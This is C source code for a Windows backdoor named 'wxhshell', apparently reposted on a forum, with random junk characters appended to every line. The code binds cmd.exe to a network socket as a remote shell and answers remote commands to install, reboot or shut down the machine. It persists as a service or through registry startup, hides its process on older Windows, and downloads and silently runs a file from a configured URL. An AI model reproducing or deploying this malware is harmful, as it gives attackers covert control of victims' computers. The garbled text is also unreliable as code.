  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jk; clwyz/  
  } ?wiC Q6*$  
  else { nzuX&bSw  
G_3O]BMKd)  
    switch(cmd[0]) { zl>nSndRE  
  av}k)ZT_  
  // 帮助 H1pO!>M  
  case '?': { [fya)}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '8RsN-w  
    break; pXT4)JDpc  
  } )BZ.Sv  
  // 安装 DkY4MH?  
  case 'i': { ?*G|XnM&  
    if(Install()) t9kzw*U9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | C;=-|  
    else 0U(@= 7V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (^8Y|:Tz  
    break; F 5bj=mI  
    } u<7/0;D#+  
  // 卸载 knu,"<  
  case 'r': { 6"L cJ%o  
    if(Uninstall()) ~9a<0Mc?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q 6:dy  
    else T6y\|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $B 2J T9  
    break; [i21FX  
    } zsEc(  
  // 显示 wxhshell 所在路径 :KSV4>X[%a  
  case 'p': { Thp[+KP>  
    char svExeFile[MAX_PATH]; ^b4 9  
    strcpy(svExeFile,"\n\r"); )al]*[lY  
      strcat(svExeFile,ExeFile); ,8S/t+H  
        send(wsh,svExeFile,strlen(svExeFile),0); /kZebNf6H  
    break; LiC*@W  
    } ;V:i!u u  
  // 重启 #5Qpu  
  case 'b': { |{z:IQLv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @N>\|!1CC  
    if(Boot(REBOOT)) j nkR}wAA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 C1#/  
    else { zq 3\}9  
    closesocket(wsh); -V*R\,>  
    ExitThread(0); 7cuE7"  
    } yJ[0WY8<kC  
    break; 6+:iy'-  
    } s$zLiQF;  
  // 关机 uP`Z12&  
  case 'd': { ]{;gw<T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wm+};L&_  
    if(Boot(SHUTDOWN)) Hc;[Cs0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Pyj%4Rs  
    else { U45e2~1!O  
    closesocket(wsh); #>a\>iKQ2q  
    ExitThread(0); I }a`0Y&{  
    } XnH05LQ  
    break; ^)470K`%)  
    } H9Gh>u]}  
  // 获取shell pN, u`[  
  case 's': { s-NX o  
    CmdShell(wsh); #JqB ;'\  
    closesocket(wsh); Gf%~{@7=u  
    ExitThread(0); .y'>[  
    break; I:-Wy"i  
  } 8$] 1M,$r  
  // 退出 _f7 9wx\B  
  case 'x': { ]E{NNHK%2N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;_XFo&@  
    CloseIt(wsh); !K#qeY}  
    break; B5`EoZ  
    } #]-SJWf3  
  // 离开  > ^O7  
  case 'q': { Q*GN`07@?d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pj8=wch  
    closesocket(wsh); m%0p\Y-/  
    WSACleanup(); 44J]I\+  
    exit(1); b8H{8{wi|  
    break; `T1  
        } PgAf\.48a  
  } ),_@WW;k  
  } &L3M]  
s$IDLs,WM  
  // 提示信息 xKbXt;l2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g/4[N{Xf  
} y-Fo=y  
  } >:SHV W  
zxEL+P  
  return; }ZYd4h|g\z  
} )',R[|<  
]IaMp788  
// shell模块句柄 $+Z[K.2J  
int CmdShell(SOCKET sock) *9 {PEx  
{ n>z9K')  
STARTUPINFO si; eNh39er  
ZeroMemory(&si,sizeof(si)); 4>YR{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F k7?xc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZT*ydln  
PROCESS_INFORMATION ProcessInfo; _=>He=v/  
char cmdline[]="cmd"; 50h! X9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oE @a'*.\  
  return 0; +SzU  
} |*Yr<zt  
BX/8O<s0  
// 自身启动模式 ?Rb9|`6  
int StartFromService(void) wKh4|Ka  
{ PxX 4[ P  
typedef struct  y`iBFC;_  
{ _ >?\DgjH  
  DWORD ExitStatus; fy1|$d{'  
  DWORD PebBaseAddress; E*& vy  
  DWORD AffinityMask; B^=-Z8  
  DWORD BasePriority; 6{K,c@VFd  
  ULONG UniqueProcessId; @ )F)S 7  
  ULONG InheritedFromUniqueProcessId; E, Z$pKL?  
}   PROCESS_BASIC_INFORMATION; q_lKKzA  
>IafUy  
PROCNTQSIP NtQueryInformationProcess; *][`@@->  
r wL`Czs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y;eZ9|Ht9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , u=`uD  
UBKu /@[f@  
  HANDLE             hProcess; wVXS%4|v  
  PROCESS_BASIC_INFORMATION pbi; Z3e| UAif  
wSL}`CgU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `cn#B BV  
  if(NULL == hInst ) return 0; .8g)av+  
y8Ir@qp5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m,28u3@r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KM0ru  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jwe*(k]z  
hW' )Sp  
  if (!NtQueryInformationProcess) return 0; yf)%%&  
$p8xEcQdU#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t,Lrfv])  
  if(!hProcess) return 0; M7\szv\Zc=  
g'f@H-KCD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1nM  #kJ"  
iXkF1r]i  
  CloseHandle(hProcess); iU918!!N   
+QavYqPF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eIF5ZPSZi  
if(hProcess==NULL) return 0; %`r$g[<G  
BZ#(   
HMODULE hMod; g axsv[W>^  
char procName[255]; ,,.QfUj/&  
unsigned long cbNeeded; g/_5unI}u  
^e5=hH-%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ye |Y  
c ]-<vkpV  
  CloseHandle(hProcess); !n!*/[}X  
#MkTkm&r  
if(strstr(procName,"services")) return 1; // 以服务启动 0o4XUW   
Wb_J(!da  
  return 0; // 注册表启动 wm@@$  
} `hm-.@f,9  
C& f= ywi0  
// 主模块 sdrfsrNvB-  
int StartWxhshell(LPSTR lpCmdLine) iMh#TUlQEQ  
{ =BeygT^  
  SOCKET wsl; 8`{:MkXP  
BOOL val=TRUE; ,ng Cv;s  
  int port=0; <=&`ZH   
  struct sockaddr_in door; {WS;dX4  
jd"@t*ZV  
  if(wscfg.ws_autoins) Install(); L{\8!51L  
T<>,lQs(a  
port=atoi(lpCmdLine); G _tCmu\  
Qljpx?E  
if(port<=0) port=wscfg.ws_port; fbvL7* (  
">nxHU  
  WSADATA data; 1.hyCTnI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #%2rP'He  
6_;icpN]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vp\,CuQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SulY1,  
  door.sin_family = AF_INET; 2pCaX\t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  /maJtX'  
  door.sin_port = htons(port); RP|`HkP-2  
R\f+SvE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d-ko ^Y0  
closesocket(wsl); y.k~Y0  
return 1; M3y NAN  
} r;2^#6/Z  
|e&\<LwsP  
  if(listen(wsl,2) == INVALID_SOCKET) { w2c?.x  
closesocket(wsl); 6@!`]tSCK  
return 1; ^\% (,KNo  
} WU` rh^  
  Wxhshell(wsl); Fo_sgv8O<  
  WSACleanup(); OT*mO&Z  
]EAO+x9  
return 0; 0+ '&`Q!u  
$PPi5f}HD  
} u=sp`%?  
:cECRm*  
// 以NT服务方式启动 w9imKVry  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xo&_bMO  
{ q;CiV  
DWORD   status = 0; WH}y"W  
  DWORD   specificError = 0xfffffff; ITBE|b  
3 i0_hZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RqrdAkg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T^KKy0ZGM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ND;#7/$>  
  serviceStatus.dwWin32ExitCode     = 0; {tZ.v@  
  serviceStatus.dwServiceSpecificExitCode = 0; ki!0^t:9  
  serviceStatus.dwCheckPoint       = 0; y%T_pTcU  
  serviceStatus.dwWaitHint       = 0; # W']6'O  
Sm|6 %3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); niyV8v  
  if (hServiceStatusHandle==0) return; aFYIM`?(  
X"Swi&4  
status = GetLastError(); pnOAs&QAm  
  if (status!=NO_ERROR) TJRCH>E[a  
{ 4[e X e$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /x$nje,.  
    serviceStatus.dwCheckPoint       = 0; D,feF9  
    serviceStatus.dwWaitHint       = 0; =,M5KDk`  
    serviceStatus.dwWin32ExitCode     = status; :I#V.  
    serviceStatus.dwServiceSpecificExitCode = specificError; .q>iXE_c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ga+dt  
    return; |{ip T SH  
  } o+'6`g'8  
V,njO{Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fHFE){  
  serviceStatus.dwCheckPoint       = 0; Zy/_ E@C}u  
  serviceStatus.dwWaitHint       = 0; ZECfR>`x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fJg+Ryo  
} (LCfUI6;  
WyiQoN'q  
// 处理NT服务事件,比如:启动、停止 2^7`mES  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z{QqY.Gu{G  
{ GbI/4<)l}  
switch(fdwControl) z24q3 3O  
{ [/r(__.  
case SERVICE_CONTROL_STOP: L4W5EO$  
  serviceStatus.dwWin32ExitCode = 0; J&_n9$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FSO).=#  
  serviceStatus.dwCheckPoint   = 0; He@KV=  
  serviceStatus.dwWaitHint     = 0; :ws<-Qy  
  { m&3xJuKih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F+qm[Bc8  
  } a<e[e>  
  return; tH4B:Bgj!  
case SERVICE_CONTROL_PAUSE: $??I/6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; omx=  
  break; Q>z8IlJ}  
case SERVICE_CONTROL_CONTINUE: ueNS='+m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 53 h0UL  
  break; V;=cwy)I  
case SERVICE_CONTROL_INTERROGATE: lOp`m8_=  
  break; 4+tEFxvX&  
}; 3so %gvY.'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zt%Mx>V@  
} |s_GlJV.  
/dHF6yW  
// 标准应用程序主函数 eMzk3eOJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !)$Zp\Sg  
{ LP=)~K<  
J}t%p(mb  
// 获取操作系统版本 7zc^!LrW<  
OsIsNt=GetOsVer(); zuCSj~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =(^3}x  
|W^IlqTH  
  // 从命令行安装 jEwIn1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;*J  
Wp,R ^d  
  // 下载执行文件 *zLMpL_  
if(wscfg.ws_downexe) { Bw.i}3UT6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uAk.@nfiEv  
  WinExec(wscfg.ws_filenam,SW_HIDE); I1J-)R+  
} v[<T]1=LRC  
2 E= L8<  
if(!OsIsNt) { +C)~bb*  
// 如果时win9x,隐藏进程并且设置为注册表启动 i/.6>4tE:  
HideProc(); jiGTA:v  
StartWxhshell(lpCmdLine); y`Z\N   
} Y-9I3?ar  
else .)3<Q}>  
  if(StartFromService()) HZOMlOZ  
  // 以服务方式启动 *WZA9G#V5  
  StartServiceCtrlDispatcher(DispatchTable); !IR6 ,A\  
else zm#  ?W  
  // 普通方式启动 N>E_%]Ch  
  StartWxhshell(lpCmdLine); ->jDb/a{C  
~"bV L[  
return 0; iDD$pd,e\  
}
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只看该作者 1 发表于: 2006-10-10
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